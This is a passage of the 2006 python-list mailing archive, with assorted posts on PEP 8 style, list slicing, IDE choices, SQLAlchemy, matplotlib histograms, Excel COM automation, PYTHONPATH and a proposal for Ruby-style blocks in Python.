even *want* to differentiate between False, None and 0 in a mixed
context).

Ps. I mostly use the "if (not) cond" form. But I take the style guide
as a, well, *guide*, rather than a style *law* and I tend to get
annoyed when people get religious about things like that. Subjective
taste, be it GvR's or the Pope's, is -- subjective. On the other hand,
if lightening is flashing and seas are parting and stuff, I don;t tend
to argue too much in that case. ;)

Regards,
Jordan



From steve at REMOVEME.cybersource.com.au  Fri Oct 13 03:35:49 2006
From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano)
Date: Fri, 13 Oct 2006 17:35:49 +1000
Subject: Efficiently iterating over part of a list
Message-ID: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>

If I want to iterate over part of the list, the normal Python idiom is to
do something like this:

alist = range(50)
# first item is special
x = alist[0]
# iterate over the rest of the list
for item in alist[1:]
    x = item

The important thing to notice is that alist[1:] makes a copy. What if the
list has millions of items and duplicating it is expensive? What do people
do in that case?

Are there better or more Pythonic alternatives to this obvious C-like
idiom?

for i in range(1, len(alist)):
    x = alist[i]


-- 
Steven D'Aprano 



From hardcoded.software at gmail.com  Fri Oct  6 22:27:04 2006
From: hardcoded.software at gmail.com (Virgil Dupras)
Date: 6 Oct 2006 19:27:04 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <1160182951.812677.178750@i42g2000cwa.googlegroups.com>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
Message-ID: <1160188024.122109.232810@m73g2000cwd.googlegroups.com>


MonkeeSage wrote:
> On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote:
> > The following line of lightly munged code was found in a publicly
> > available Python library...
>
> Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh),
> which was written by the very finger of God when the world was still in
> chaotic darkness. But I guess I'm an atheist when it comes to PEP 8. If
> it is clearer to you to make the condition explicit ("blah not False"),
> rather than implicit ("not blah"), then use the former. I say write the
> code the way *you* (and your team if applicable) are best able to read,
> write and maintain it. Then when other people tell you that it isn't
> good style, or isn't "pythonic," just stab them in the face with
> soldering iron ala Chris Walken. :)
>
> Regards,
> Jordan

I don't think it's even a matter of "If it's clearer to *you*", it's a
matter of not writing code while drunk. Isn't something like "key not
in schema.elements" universally clearer than the above mess? (If
elements has a "has_key()" method, it probably is or acts like a dict)

But I don't blame the autor of this line (The drunk thing was a joke),
I can see how it can happen: editing. You write something, and the
oops, it doesn't quite work, make a quick fix, then another, then
another. You end up with something that works, but don't notice the
ugly line you left. It happens.

However, it can *also* happen when you write code while drunk...



From hanumizzle at gmail.com  Sun Oct 29 01:00:58 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 29 Oct 2006 01:00:58 -0400
Subject: What's the best IDE?
In-Reply-To: <624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<1161976496.903281.302940@i42g2000cwa.googlegroups.com>
	<624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com>
Message-ID: <463ff4860610282200m320f70afj636214581e739661@mail.gmail.com>

On 10/27/06, Ramon Diaz-Uriarte <rdiaz02 at gmail.com> wrote:

> Actually, I've read similar things before and I don't quite get it. I
> guess all of us are Emacs begginers the first time we try emacs.
> Actually, I started using Emacs about 1 month after installing Linux;
> what hooked me was the possibility of editing code AND submit it to an
> inferior process, just like that (this I experienced first with R, but
> of course you can do the same with Python) and using the same
> environment for all of my editing and programming tasks.

I've used Emacs for a long time, but I think I might be going back to
Vim 7.0 now that they improved the scripting functionality with *real*
arrays and dicts. In some respects, this is now better than in Emacs,
where the hash functionality is...well...cumbersome at best.

Main reason would be that Vim is so much easier to customize and find
things in than Emacs. I long time ago, I actually submitted a bug
report for the perl plugin  I hate to appeal to popularity, but Vim's
greater popularity also contributes to higher quality in a number of
cases: consider Ruby support for instance. Light years ahead of what
Emacs has.

vimshell is a (nearly) full-blown terminal emulator facility for Vim
http://www.wana.at/vimshell/

In any case, chok dee khrab (good luck with it).

-- Theerasak


From aleax at mac.com  Sun Oct  1 14:18:45 2006
From: aleax at mac.com (Alex Martelli)
Date: Sun, 1 Oct 2006 11:18:45 -0700
Subject: does anybody earn a living programming in python?
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
	<1hmhych.1jaomee1msbzi8N%aleax@mac.com>
	<1159706488.576589.82080@i3g2000cwc.googlegroups.com>
Message-ID: <1hmiznn.1avmekd15vx5jmN%aleax@mac.com>

<jmdeschamps at gmail.com> wrote:

> Since then, feedback from students in industry is that it is being used
> more and more, day in and day out by top world class shops (games,
> effects, etc). BUT It's still Java, C++, PHP, SQL that have the
> marketing demands...

Absolutely.  But note that SQL (like Javascript, but even more so) DOES
have an absolutely good, perfectly strong reason to exist within the
compass of competence of any strong programmer, no matter what
language[s] he or she uses for _general-purpose_ stuff.  Even when using
a higher-level abstraction (an ORM rather than SQL, or one of those
doodads which compile some Java code into Javascript so it runs in the
user's browser), which may or may not be a good choice for a certain
specific use, you really still need good understanding and practice of
the underlying SQL (or Javascript) in order to get solid results, good
performance, debugging of any problem that may arise, etc etc
("Spolsky's Law of Leaky Abstractions" applies strongly here;-).


Alex


From hanumizzle at gmail.com  Fri Oct 13 10:41:47 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 10:41:47 -0400
Subject: Line algorithim for python and numeric
In-Reply-To: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>
Message-ID: <463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com>

On 13 Oct 2006 07:33:17 -0700, bcdonovan at gmail.com <bcdonovan at gmail.com> wrote:
> Hi everyone,
>
>   I'm wondering if anyone knows of a way to extract data from a numeric
> array along a line. I have a gridded dataset which I would like to be
> able to choose two points and extract a 1-d array of the data values
> along the line between the two points. Any ideas?

Are these all 45 degree lines or what?

If not, you'll have to use trigonometry and approximate the closest
matching cell. (Don't worry, Python has maths functions!! :))

-- Theerasak


From limodou at gmail.com  Fri Oct 13 11:17:29 2006
From: limodou at gmail.com (limodou)
Date: Fri, 13 Oct 2006 23:17:29 +0800
Subject: Best IDE?
In-Reply-To: <463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<1160750227.507474.134240@b28g2000cwb.googlegroups.com>
	<463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com>
Message-ID: <505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com>

On 10/13/06, Theerasak Photha <hanumizzle at gmail.com> wrote:
> On 13 Oct 2006 07:37:07 -0700, Bernard <bernard.chhun at gmail.com> wrote:
> > IDE : SPE (Stani's python editor) : http://stani.be/python/spe/blog/
> > Why?: because this IDE is not complicated. it ships with a debugger, a
> > gui designer, a source code checker and a regex console.
> > Like: obviously everything
> > Hate: sometimes it doesn't start on windows 2000
> > Platform: Windows, Linux, Mac
> > cost: free but I'll donate some money because I like it
>
> Will definitely give it a look.
>
Maybe you could also check out UliPad to try it. Many features UliPad
also have, and it also shipped with

* directory browser
* multi-view
* multi-language highlight support, like: python, javascript, css, html, etc
* simple project support bind with directory browser
* commands searching
* live regular expression searching, type regex, and you'll see the
result immediately
* session manager
* i18n
* input assistant, support call tips, '.' hint, and auto-complete, for
example: you type

  def then it'll expand to def ():
* many plugins, for example spell check, if you install pyenchant module
* others things

hope you try it.

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From kay.schluehr at gmx.net  Mon Oct 30 03:20:39 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 30 Oct 2006 00:20:39 -0800
Subject: Reverse function python? How to use?
In-Reply-To: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>
References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>
Message-ID: <1162196439.298868.215410@e3g2000cwe.googlegroups.com>

frankie_85 wrote:
> Ok I'm really lost (I'm new to python) how to use the reverse function.
>
>
> I made a little program which basically the a, b, c, d, e which I have
> listed below and basically I want it th result to be printed reverse so
> instead doing "print e, d, c, b, a", I'd like to use the reverse
> function

You can use extended slice operators

http://www.python.org/doc/2.3.5/whatsnew/section-slices.html [1]

This function call should do what yo expect

print [e, d, c, b, a][::-1]

[1] Does anyone know where to find a comprehensible description of
enhanced slices in the Python docs besides an an aged "What's new?"
column? Or is it intended that newbies read this
http://docs.python.org/ref/slicings.html ?



From andrew29 at littlepinkcloud.invalid  Thu Oct 12 07:41:37 2006
From: andrew29 at littlepinkcloud.invalid (Andrew Haley)
Date: Thu, 12 Oct 2006 11:41:37 -0000
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
Message-ID: <12isafh66eo7i49@news.supernews.com>

In comp.lang.forth Paul Rubin <http://phr.cx at nospam.invalid> wrote:
> "idknow at gmail.com" <idknow at gmail.com> writes:
>> fun median {
>>  var x = 0.
>>   while( *p++) {
>>     if( (*p) > x) x = *p.
>>   }
>>   return x.
>> }

> I count two variables, p and x.

Isn't this the maximum?

Andrew.


From richardjones at optushome.com.au  Thu Oct 12 20:17:25 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Fri, 13 Oct 2006 10:17:25 +1000
Subject: Starting out.
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160696990.5969.4.camel@dsktp>
Message-ID: <452edb15$0$11973$afc38c87@news.optusnet.com.au>

Andrew Poelstra wrote:
> (OT: Try to type 'proficient' with one hand on a US keyboard. :-))

On the Internet, nobody wants to know when you're typing one-handed.


    Richard



From onurb at xiludom.gro  Mon Oct  9 06:55:24 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 12:55:24 +0200
Subject: SqlAlchemy how and where it can be used?
In-Reply-To: <1160327542.606433.269250@h48g2000cwc.googlegroups.com>
References: <1160327542.606433.269250@h48g2000cwc.googlegroups.com>
Message-ID: <452a2a9d$0$13108$426a74cc@news.free.fr>

tomec at obywatel.pl wrote:
> hello,
> 
> Ive read some articles about SqlAlchemy but i don't know where i can
> use this?

In any Python program.

> Lets say that i would like to create some application which will be
> using sqlAlchemy My question is
> which programming language can i code to use it? (only Python)?

Err... I don't know how and why you would use a Python package in
another language ???

SQLAlchemy is an interface between your Python program and a SQL DBMS.
It's *not* the SQL DBMS itself. Given your questions, I think you'd
better first learn what's an SQL DBMS.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From 06virg at gmail.com  Fri Oct  6 05:29:59 2006
From: 06virg at gmail.com (virg)
Date: 6 Oct 2006 02:29:59 -0700
Subject: help on pickle tool
In-Reply-To: <mailman.1434.1160126159.10491.python-list@python.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
	<1160124108.779860.236940@i3g2000cwc.googlegroups.com>
	<mailman.1428.1160124488.10491.python-list@python.org>
	<1160125387.706686.70090@h48g2000cwc.googlegroups.com>
	<mailman.1434.1160126159.10491.python-list@python.org>
Message-ID: <1160126999.826707.75010@i42g2000cwa.googlegroups.com>

Yes your are right. I will send a dictionary object from the server to
the client.
I already have client which is written in python. But we are migrating
the python client which is a command line tool  to Web UI client
(java).  If it is possible to call python function from java, i need to
read more about jython, i am new to this.


hanumizzle wrote:
> On 6 Oct 2006 02:03:07 -0700, virg <06virg at gmail.com> wrote:
> > At the server, based on client request it does some computations , it
> > sends the result as dictionary (serialized) to the client.
>
> If I interpret your message correctly, you are receiving a Python
> dictionary object from the server. Yes? In this case, I guess it might
> be necessary to use Jython. I'm drawing a blank otherwise.
>
> (This may be naive, but can you write the client in Python as well?)
> 
> -- Theerasak



From brenocon at gmail.com  Sat Oct 14 00:54:09 2006
From: brenocon at gmail.com (brenocon at gmail.com)
Date: 13 Oct 2006 21:54:09 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
Message-ID: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>

Hi all --

Compared to the Python I know and love, Ruby isn't quite the same.
However, it has at least one terrific feature: "blocks".  Whereas in
Python a
"block" is just several lines of locally-scoped-together code, in Ruby
a
"block" defines a closure (anonymous function).  To avoid confusion
let's call
them Ruby block-closures.  I see them as just a syntax for defining
closures
and passing them into method calls.  I think something analogous could
be added
to Python in a very simple manner that would make closures much more
readable
and usable, and nail some use cases nicely.

To define a new closure and pass it into a function call, there are two
current
methods: inline 'def' and 'lambda'.  Consider the following Twisted-ish
code:

    deferred = fetchPage('http://python.org')
    def _showResponse(response)
        print "fancy formatting: %s" % response.text
    deferred.addCallback(_showResponse)

Lots of Twisted code has to be written backwards like this.
Theoretically, it
might be nice to use lambda right in the addCallback() call, like:

    deferred.addCallback(lambda r:  print("fancy formatting %s"
%r.text) )

But this is awkward since the lambda is constrained to be one line; you
can't
come back later and add much to the callback's code.  Furthermore, this
example
isn't even legal, because 'print' isn't a function, but a statement --
lambda
is further constrained to only contain an expression.

Many have complained about this crippled-ness of lambda, but it
actually makes
some sense.  Since Python uses colons and indentation to define blocks
of code,
it would be awkward to close a multiline lambda.  The best I could
think of
would look like

    deferred.addCallback(lambda r:
        print("fancy formatting %s" % r.text)
    )

    ^
    |

That trailing paranthesis is WAY un-Pythonic.  We don't close code
blocks like
that!  And in general, declaring big multiline anonymous functions in
the
middle of a list of normal variable arguments is weird -- it just
doesn't fit.
It's perfectly legal to pass in 4 closures, interspersed with number
and string
arguments.  Imagine defining all of those inline with 'lambda'
expressions!
And what about nesting?  And then there's the term "lambda", while a
great
homage to Lisp and computation theory, just isn't the friendliest
programming
vocab term.

(from my limited understanding,) Ruby block-closures assume a specific
use
case: You want to pass exactly one multiline, defined-right-there
closure to a
method when calling it.  Therefore, you should get to define the
closure
*immediately following* the method call.  I suggest a Python version
with a
keyword 'using' (or 'with'?) that takes the block of code as a closure,
and
passes it to the method call as the *last argument*.  The above example
becomes:

    deferred.addCallback() using response:
        print "fancy formatting %s" % response.text

and in general, the following two code snippets are equivalent:


    def _f(x,y):
        [do stuff with x and y]
    function_with_callback(a,b,c, _f)

    function_with_callback(a,b,c) using x,y:
        [do stuff with x and y]
    next_statement()

... where function_with_callback wants a 2-arg function as its last
argument.
It gets to call _f, or equivalently the defined-right-there
closure/ruby-block,
however it wants to -- wait for an I/O operation to finish, whatever.
I'm not
so hot about the fact that it looks like addCallback() should be
completed
before the 'using' keyword kicks in, but this is the simplest I could
think of.

This syntax does not let you define a new function and store it as a
local
variable.  Python already has inline 'def' for that (that is, you can
do a
'def' in any block of code you want, and it stays local to that scope.)
 It
does not, strictly speaking, let you do anything new -- as Guido has
stated,
you could ditch lambda and achieve the equivalent by declaring the
little
callback function as an inline 'def', like in the first deferred
example here.

This only optimizes for the case of defining a closure only for the
purpose of
passing it in as an argument to a method.  However, this must be the
only use
for anonymous functions in Python, since we already have inline 'def'.
I've
always felt that passing in a lambda in lisp and python, or the
equivalent
anonymous function(x,y) {} in javascript, or anonymous classes in java,
was
always awkward.  You have to think about defining a new anonymous
function
*within* your method call and such, and then you have to close
parantheses
after it -- it's just weird, I dunno.

This proposal could also handle some of the use cases mentioned in PEP
310 and
340.  If you design your callback-taking functions to have only one
callback
and have it as the last argument, you can trivially write lock
acquition (omit
'using' for a no-arg block-closure):

    def protect(lock, f):
        lock.acquire()
        f()
        lock.release()

    protect(myLock):
        [do stuff that needs myLock to be acquired]

Of course, the definition of protect() might have try/finally wrapped
around
the f() call.  (Interestingly, this starts looking like a way to define
new
control-like structures.  I haven't thought through the implications.)

ActiveRecord, Rails' object-relational mapper, does almost exactly this
for
database transactions, and I have found it quite nice:

    # User is a sqlobject/sqlalchemy/django/whatever ORM class;
    # User.transaction is a class method executing its passed-in
closure within
    #  the user table's START TRANSACTION and STOP TRANSACTION.

    user1, user2 = getTwoUsers()
    User.transaction() using user1, user2:
        someRaceConditionProneStuff(user1, user2)
        moreRaceConditionProneStuff(user1, user2)

There might be some sort of overlap with PEP 343 and the 'with'
statement, but
I'm not sure exactly.  Sorry I'm late to the game and commenting on
last year's
PEP's, but I've only started reading them.  Note that PEP's 343 and 340
are
very focused on resource management -- but I think that letting one
define code
blocks as closures could make resource handling routines be easily
written in
Python.  Furthermore, tons more stuff -- like Deferreds and such --
could be
added.  (Ruby uses block-closures to do really basic constructs such as
foreach
iteration.  Python does a fine job with "for x in L" and list and
generator
comprehensions... enough so that map/lambda is obsolete!  I'm just
trying to
see if there are use cases in Python for block-closures.)

I've been trying to search for similar proposals but have come up dry.
Anything like this out there?  I hear Ruby blocks are heavily inspired
by
Smalltalk; anyone know more?

Is it feasible to assume the primary use of closures is as part of an
argument
list, and such argument lists will want only one argument that is a
closure?
Does doing so avoid any big annoyances of functional programming?

Is this completely, totally incompatible with the current state of
Python and
previous deliberations :) ?  e.g. I haven't thought much about how this
would
interact with yield and generators.

But really, I'm just idly curious -- does anyone think this might be
useful?


Take care,
Brendan



From guettli+usenet at thomas-guettler.de  Tue Oct 17 10:44:44 2006
From: guettli+usenet at thomas-guettler.de (Thomas Guettler)
Date: 17 Oct 2006 14:44:44 GMT
Subject: Problem: Python search path - module order
References: <1161018293.062420.202390@i3g2000cwc.googlegroups.com>
Message-ID: <4pk8isFj87maU1@individual.net>

aznach wrote:

> Hello!
>
> I have a shared hosting account at GrokThis.net and have a problem with
> the module order of the Python search path.
>
> I'd like to use django's svn trunk instead of the
> "Django-0.95-py2.4.egg" provided in site-packages.

> I use ~/.bash_profile to set:
> ----------------------------------------------------------------
> export PYTHONPATH="$HOME/local/lib/python:$HOME/django_src"
> ----------------------------------------------------------------

you can use sys.path.insert(0, ...) in the python code.

-- 
Thomas G?ttler, http://www.thomas-guettler.de/ http://www.tbz-pariv.de/
E-Mail: guettli (*) thomas-guettler + de
Spam Catcher: niemand.leermann at thomas-guettler.de



From amitsoni.1984 at gmail.com  Wed Oct 18 02:01:08 2006
From: amitsoni.1984 at gmail.com (amitsoni.1984 at gmail.com)
Date: 17 Oct 2006 23:01:08 -0700
Subject: Plotting histograms
In-Reply-To: <mailman.604.1161057667.11739.python-list@python.org>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
	<mailman.604.1161057667.11739.python-list@python.org>
Message-ID: <1161151268.753901.104750@k70g2000cwa.googlegroups.com>

Thanks Robert,

My previous problem is solved(I was using 'from matplotlib.pylab import
*') but now I am facing another problem. I want to plot the histogram
of eigenvalues calculated and I am using the following code:
_______________________________________________________________________
import numpy
from matplotlib import pylab

n=100
ra = numpy.random
la = numpy.linalg

A = ra.standard_normal((n,n))
S = (A + numpy.transpose(A))/(2*n^(1/2))

eig = la.eigvals(S)

[N,x]=pylab.hist(eig, 10) # make a histogram
-------------------------------------------------------------------------------------------------------------

But again it is giving some error, which is given below:

File "C:\Documents and Settings\amitsoni\Desktop\New
Folder\wignerpython", line 15, in <module>
[N,x]=pylab.hist(eig, 10) # make a histogram
ValueError: too many values to unpack

Can anyone help me out with this??

Thanks
Amit

Robert Kern wrote:
> amitsoni.1984 at gmail.com wrote:
> > hi, I have some values(say from -a to a) stored in a vector and I want
> > to plot a histogram for those values. How can I get it done in python.
> > I have installed and imported the Matplotlib package but on executing
> > the code
> > [N,x]=hist(eig, 10) # make a histogram
> >  I am getting an error saying   "NameError: name 'hist' is not
> > defined".
>
> I presume what you did was something like this:
>
>    from matplotlib import pylab
>    [N,x] = hist(eig, 10)
>
> What you actually want is this:
>
>    from matplotlib import pylab
>    [N,x] = pylab.hist(eig, 10)
>
> Or, if you're at the interactive prompt (but remember that it is inadvisable to
> do so in modules):
>
>    from matplotlib.pylab import *
>    [N,x] = hist(eig, 10)
>
> You will probably want to review the section of the tutorial on importing
> modules if you don't understand the differences.
>
> --
> Robert Kern
>
> "I have come to believe that the whole world is an enigma, a harmless enigma
>   that is made terrible by our own mad attempt to interpret it as though it had
>   an underlying truth."
>    -- Umberto Eco



From nick at craig-wood.com  Mon Oct 16 04:30:11 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Mon, 16 Oct 2006 03:30:11 -0500
Subject: IDE that uses an external editor?
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
	<20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com>
	<mailman.547.1160948753.11739.python-list@python.org>
	<87veml468m.fsf@gmail.com>
Message-ID: <slrnej6et9.kcl.nick@irishsea.home.craig-wood.com>

Jorge Godoy <jgodoy at gmail.com> wrote:
>  Eclipse: just a GUI over a subset of Emacs today.

;-)

>  One day, when it evolves, it will be something interesting...  I
>  won't give up on Emacs loading fast

I never thought I'd live to see emacs being quoted as loading fast!
It really is fast compared to Eclipse though.

  "E"ight(y) "M"egs "A"nd "C"onstantly "S"wapping

Trouble is is that Eclipse is Eight-Hundred Megs ;-)

This message written in emacs, which I love dearly and have spent the
last 10 years mastering!  I did try Eclipse but I found it too slow
and clunky and there was far too much GUI (I like my whole screen to
be the file I'm editing).

Attempting to bring this discussion back on topic: Emacs has a few
python modes also.  There is the basic python-mode which does
everything expected of a major-mode.  Syntax colouring, indentation
that sort of thing.  There is also IM-Python for code navigation, and
bycycle repair man for refactoring support.  You can run stuff at the
interactive python prompt from within emacs.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 10:42:09 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 14:42:09 GMT
Subject: Python component model
In-Reply-To: <4p1nggFgnl6uU1@uni-berlin.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de>
	<ONMWg.12226$UG4.2497@newsread2.news.pas.earthlink.net>
	<4p1nggFgnl6uU1@uni-berlin.de>
Message-ID: <5jOWg.5405$Lv3.4138@newsread1.news.pas.earthlink.net>

Diez B. Roggisch wrote:
>> While I understand dynamic typing, I still think it is possible to
>> create attributes in a Python component model which could tell a RAD
>> tool what type the attribute will encompass for the purpose of
>> properties and events. Obviously a "name, type" tuple, among other
>> possible information would have to be used. But given Python's amazingly
>> flexible type and introspection system, this should be possible.
> 
> The amazing flexibility stems from the fact that it is _runtime_. This is
> _exactly_ the difference between static and dynamic typing.
> 
> If a static analysis (_not_ importing the module, which can trigger
> arbitrary code being run!!!) is supposed to deliver the component
> architecture, you are either introducing static typing, or get into the
> danger of lose coupling between declaration and implementation, rendering
> the whole thing pretty useless.

Yes, I am suggesting static typing functionality for a subset of Python 
attributes. How this can be done I am still investigating on my own.

> 
> Of course, with a bit of discipline, you can create such a introspection
> facility that offers its properties after a mere import, see ZOPE
> interfaces for example. 
> 
> But in the end, it boils down to declaring stuff for that purpose alone, and
> introducing static typing, whereas other languages declare typing for their
> own needs, and add the component model upon that. 
> 
> And then you lose a _lot_ of what python makes powerful, for a very doubtful
> benefit IMHO.

Adding a feature, such as static typing functionality for the situation 
of doing visual RAD programming, does not "lose a _lot_ of what makes 
python powerful".

My idea of adding static typing is not an attempt to change the language 
but rather to develop Python classes which encapsulate the idea of a 
variable and a type for the purposes of emulating component properties 
and component events. If a language addition is needed instead I will 
investigate how to propose it.


From breakfastea at gmail.com  Sat Oct  7 01:08:35 2006
From: breakfastea at gmail.com (Camellia)
Date: 6 Oct 2006 22:08:35 -0700
Subject: humble coin head or tail game script I wrote
In-Reply-To: <1160168295.033649.163460@k70g2000cwa.googlegroups.com>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
	<1160158803.404425.316430@h48g2000cwc.googlegroups.com>
	<1160159206.781049.24930@c28g2000cwb.googlegroups.com>
	<1160168295.033649.163460@k70g2000cwa.googlegroups.com>
Message-ID: <1160197715.045939.138760@b28g2000cwb.googlegroups.com>

Oh I get it and ashamed, thank you for explaining it to me:)

so I sould:
ini_guess=random.randrange(2)
...
for item in  list:
    if item=='h':
        ...
    if item ==t':
        ...

sjdevnull at yahoo.com wrote:
> Camellia wrote:
> > Well...It' doesn't, have you run it yet?
>
> Yes it does, and running it reflects that behavior.
>
> > ini_guess = random.randrange(1)
> > list_guess = ['t', 'h']
> > ini_guess = list_guess[ini_guess]
>
> random.randrange(1) will always return 0, so this will always
> initialize ini_guess to 't'
>
> > for item in list:
> >     if item == ini_guess:
> >         correct += 1
> >     elif item == 'h':
> >         ini_guess = 't'
> >     elif item == 't':
> >         ini_guess == 'h'
>
> If item was 't', then correct is incremented and nothing else happens.
> ini_guess remains 't'.
> If item was 'h', ini_guess will be set to 't'.
> 
> The final "elif item=='t':" branch will never be executed.



From jstroud at mbi.ucla.edu  Fri Oct 13 04:54:49 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 13 Oct 2006 08:54:49 GMT
Subject: Using SVN with Python and .pyc files
In-Reply-To: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>
References: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>
Message-ID: <tvIXg.22338$Ij.13284@newssvr14.news.prodigy.com>

Everyone wrote:
[something helpful]

Thank you to everyone for your responses.

James


From johnjsal at NOSPAMgmail.com  Tue Oct 10 11:29:48 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Tue, 10 Oct 2006 15:29:48 GMT
Subject: can regular ol' python do a php include?
In-Reply-To: <YzOWg.92$1n3.2328@news.tufts.edu>
References: <kZNWg.91$1n3.2228@news.tufts.edu>
	<mailman.214.1160490531.11739.python-list@python.org>
	<YzOWg.92$1n3.2328@news.tufts.edu>
Message-ID: <M%OWg.93$1n3.2388@news.tufts.edu>

John Salerno wrote:

> print open('header.html').read()
> 
> Not quite as elegant as include('header.html'), but it seems like it 
> would work.

Spoke too soon maybe. Does using the above mean that I have to create an 
entire Python file rather than an HTML file? What I'm looking for is to 
be able to use pure HTML, but just stick in a line of Python when I need 
to include something.

It doesn't seem to work this way though, unless I'm doing something wrong.


From Roka100 at gmail.com  Sun Oct 22 11:24:32 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 22 Oct 2006 08:24:32 -0700
Subject: Why I cannot Exit python shell ??
Message-ID: <1161530672.565105.5770@i42g2000cwa.googlegroups.com>

Hi all.

  After using python shell (IDLE) for a while, I typed commands below
to exit . But error ocurred.

>>> raise SystemExit

Traceback (most recent call last):
  File "<pyshell#10>", line 1, in <module>
    raise SystemExit
SystemExit
>>> sys.exit(0)

Traceback (most recent call last):
  File "<pyshell#11>", line 1, in <module>
    sys.exit(0)
SystemExit: 0
>>> dir()
['__builtins__', '__doc__', '__name__', 'os', 'sys', 'time']

Why??



From jchiang2 at ford.com  Sun Oct  1 21:33:17 2006
From: jchiang2 at ford.com (Jim Chiang)
Date: Sun, 1 Oct 2006 21:33:17 -0400
Subject: Picture in Excel issue
Message-ID: <003301c6e5c2$bc98bb60$0f1ea8c0@tc4200>

I'm trying to very simply insert a picture from a file into an excel
spreadsheet. I know how to do this in VBA and it works fine, however when I
try this from python I get an error. Doing a search on this turned up
nothing.

The code I'm using is:

from win32com.client.dynamic import Dispatch

xl = Dispatch( 'Excel.Application' )

xl.Visible=1

xl.Workbooks.Add()

xl.ActiveSheet.Pictures.Insert("C:\a.jpg")

 

Traceback (most recent call last):

  File "<pyshell#7>", line 1, in <module>

    xl.ActiveSheet.Pictures.Insert("C:\a.jpg")

AttributeError: 'function' object has no attribute 'Insert'

 

I'm not sure why I get this issue since
'ActiveSheet.Pictures.Insert("C:\a.jpg")' works fine from within Excel.
Several internet posts from my searches also suggest to use this method.

 

I've tried this on both Python 2.1 and 2.5 with the same results.

Any idea what the problem is or how I can insert the picture??

 

TIA,

Jim

 

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From amitsoni.1984 at gmail.com  Mon Oct 16 23:49:10 2006
From: amitsoni.1984 at gmail.com (amitsoni.1984 at gmail.com)
Date: 16 Oct 2006 20:49:10 -0700
Subject: Plotting histograms
Message-ID: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>

hi, I have some values(say from -a to a) stored in a vector and I want
to plot a histogram for those values. How can I get it done in python.
I have installed and imported the Matplotlib package but on executing
the code
[N,x]=hist(eig, 10) # make a histogram
 I am getting an error saying   "NameError: name 'hist' is not
defined".

Is there any other way to plot histograms over a given range?

thanks

Amit



From will at willmcgugan.com  Wed Oct 11 07:09:02 2006
From: will at willmcgugan.com (Will McGugan)
Date: 11 Oct 2006 04:09:02 -0700
Subject: Alternative constructors naming convention
Message-ID: <1160564942.565119.226780@m7g2000cwm.googlegroups.com>

Hi,

Is there a naming convention regarding alternative constructors? ie
static methods where __new__ is called explicity. I use lower_case for
